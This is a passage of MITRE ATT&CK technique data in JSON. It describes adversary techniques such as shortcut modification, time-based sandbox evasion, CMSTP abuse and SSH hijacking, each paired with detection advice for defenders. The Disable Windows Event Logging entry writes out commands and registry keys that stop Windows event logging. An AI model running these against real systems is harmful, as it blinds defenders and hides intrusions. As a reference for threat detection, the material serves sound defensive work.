edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["David French, Elastic","Bobby, Filar, Elastic","Travis Smith, Tripwire"],"x_mitre_deprecated":false,"x_mitre_detection":"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Modification","Process: Process Creation","File: File Creation"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","created":"2020-01-24T19:00:32.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/009","external_id":"T1547.009"},{"source_name":"Shortcut for Persistence ","description":"Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.","url":"https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence"},{"source_name":"BSidesSLC 2020 - LNK Elastic","description":"French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.","url":"https://www.youtube.com/watch?v=nJ0UsyiUEqQ"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:22:56.372Z","name":"Application Window Discovery","description":"Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","created":"2017-05-31T21:30:24.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1010","external_id":"T1010"},{"source_name":"ESET Grandoreiro April 2020","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"},{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5","type":"attack-pattern","created":"2017-05-31T21:30:35.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1032","url":"https://attack.mitre.org/techniques/T1032"},{"url":"http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840","description":"Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.","source_name":"SANS Decrypting SSL"},{"url":"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html","description":"Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.","source_name":"SEI SSL Inspection Risks"},{"url":"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf","description":"Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.","source_name":"Fidelis DarkComet"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-21T00:43:01.387Z","name":"Standard Cryptographic Protocol","description":"Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-10-17T20:35:35.125Z","name":"Email Account","description":"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","created":"2020-02-21T21:08:33.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1087/003","external_id":"T1087.003"},{"source_name":"Black Hills Attacking Exchange MailSniper, 2016","description":"Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.","url":"https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/"},{"source_name":"Google Workspace Global Access List","description":"Google. (n.d.). Retrieved March 16, 2021.","url":"https://support.google.com/a/answer/166870?hl=en"},{"source_name":"Microsoft Exchange Address Lists","description":"Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.","url":"https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019"},{"source_name":"Microsoft getglobaladdresslist","description":"Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63","type":"attack-pattern","created":"2017-05-31T21:30:50.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1062","url":"https://attack.mitre.org/techniques/T1062"},{"external_id":"CAPEC-552","source_name":"capec","url":"https://capec.mitre.org/data/definitions/552.html"},{"url":"https://en.wikipedia.org/wiki/Hypervisor","description":"Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.","source_name":"Wikipedia Hypervisor"},{"url":"http://en.wikipedia.org/wiki/Xen","description":"Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.","source_name":"Wikipedia Xen"},{"url":"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf","description":"Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.","source_name":"Myers 2007"},{"url":"http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html","description":"virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.","source_name":"virtualization.info 2006"}],"modified":"2020-03-30T13:44:04.712Z","name":"Hypervisor","description":"**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T15:50:18.048Z","name":"Time Based Evasion","description":"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Jorge Orchilles, SCYTHE","Ruben Dodge, @shotgunner101","Jeff Felling, Red Canary","Deloitte Threat Library Team"],"x_mitre_deprecated":false,"x_mitre_detection":"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Host forensic analysis","Signature-based detection","Static File Analysis","Anti-virus"],"type":"attack-pattern","id":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","created":"2020-03-06T21:11:11.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1497/003","external_id":"T1497.003"},{"source_name":"Joe Sec Nymaim","description":"Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.","url":"https://www.joesecurity.org/blog/3660886847485093803"},{"source_name":"Joe Sec Trickbot","description":"Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.","url":"https://www.joesecurity.org/blog/498839998833561473"},{"source_name":"ISACA Malware Tricks","description":"Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.","url":"https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes"},{"source_name":"Revil Independence Day","description":"Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.","url":"https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/"},{"source_name":"Netskope Nitol","description":"Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.","url":"https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique"},{"source_name":"Deloitte Environment Awareness","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1182","url":"https://attack.mitre.org/techniques/T1182"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"url":"https://forum.sysinternals.com/appcertdlls_topic12546.html","description":"Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.","source_name":"Sysinternals AppCertDlls Oct 2007"}],"modified":"2020-11-10T18:29:30.350Z","name":"AppCert DLLs","description":"Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T19:35:43.077Z","name":"CMSTP","description":"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Nik Seetharaman, Palantir","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"type":"attack-pattern","id":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","created":"2020-01-23T18:27:30.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1218/003","external_id":"T1218.003"},{"source_name":"Twitter CMSTP Usage Jan 2018","description":"Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/958789644165894146"},{"source_name":"Microsoft Connection Manager Oct 2009","description":"Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"},{"source_name":"MSitPros CMSTP Aug 2017","description":"Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.","url":"https://msitpros.com/?p=3960"},{"source_name":"GitHub Ultimate AppLocker Bypass List","description":"Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.","url":"https://github.com/api0cradle/UltimateAppLockerByPassList"},{"source_name":"Endurant CMSTP July 2018","description":"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.","url":"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"},{"source_name":"Twitter CMSTP Jan 2018","description":"Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.","url":"https://x.com/NickTyrer/status/958450014111633408"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","type":"attack-pattern","created":"2020-02-25T18:34:38.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1563.001","url":"https://attack.mitre.org/techniques/T1563/001"},{"url":"https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219","description":"Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.","source_name":"Slideshare Abusing SSH"},{"url":"https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf","description":"Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.","source_name":"SSHjack Blackhat"},{"url":"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking","description":"Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.","source_name":"Clockwork SSH Agent Hijacking"},{"source_name":"Breach Post-mortem SSH Hijack","url":"https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident","description":"Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."}],"modified":"2020-03-23T23:11:24.682Z","name":"SSH Hijacking","description":"Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Network Traffic: Network Traffic Content","Command: Command Execution","Logon Session: Logon Session Creation","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["root"],"x_mitre_system_requirements":["SSH service enabled, trust relationships configured, established connections"]},{"modified":"2023-09-18T22:33:57.556Z","name":"Disable Windows Event Logging","description":"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. 